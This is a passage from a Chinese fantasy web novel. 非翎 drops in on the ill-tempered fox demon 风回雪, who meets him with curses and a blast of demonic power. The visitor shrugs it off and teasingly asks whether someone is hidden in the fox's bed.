一开口,那嗓音里漾开的绿茶味,几乎浓郁得快要溢出来。 “这不是许久未见哥哥,想的紧。” 近日林轻染既要筹备登天梯之事,又得操持大婚典礼,还要分神追捕那名行踪不定的修女,忙得分身乏术。 信道里终于不再整日叮叮咚咚响个不停,难得清静。 闲来无事,晃悠到了妖域,想着顺路过来,正好来找这坏脾气的狐狸,喝个小酒。 江献晚:“……” 这熟悉的茶味儿。 他俩又哥哥弟弟的,叫上了? 风回雪这会儿喝的尽是自己的醋,正是心情不好,尤其见来人是非翎,眉宇间霎时凝起一层暴戾之色。 他修指一抬,雪色绡纱无风自动,不见如何动作,一道凌厉妖力已破空击出。 “滚!谁他妈是你哥!我老子可没生二胎!” “别他妈来烦我!” 非翎拂袖化解,丝毫不恼,反而偏头眯起一双含笑的眸子。 漫不经心的语调登时收敛,眼底亮起一丝玩味,饶有兴致地挑眉。 “你床上,藏了人?”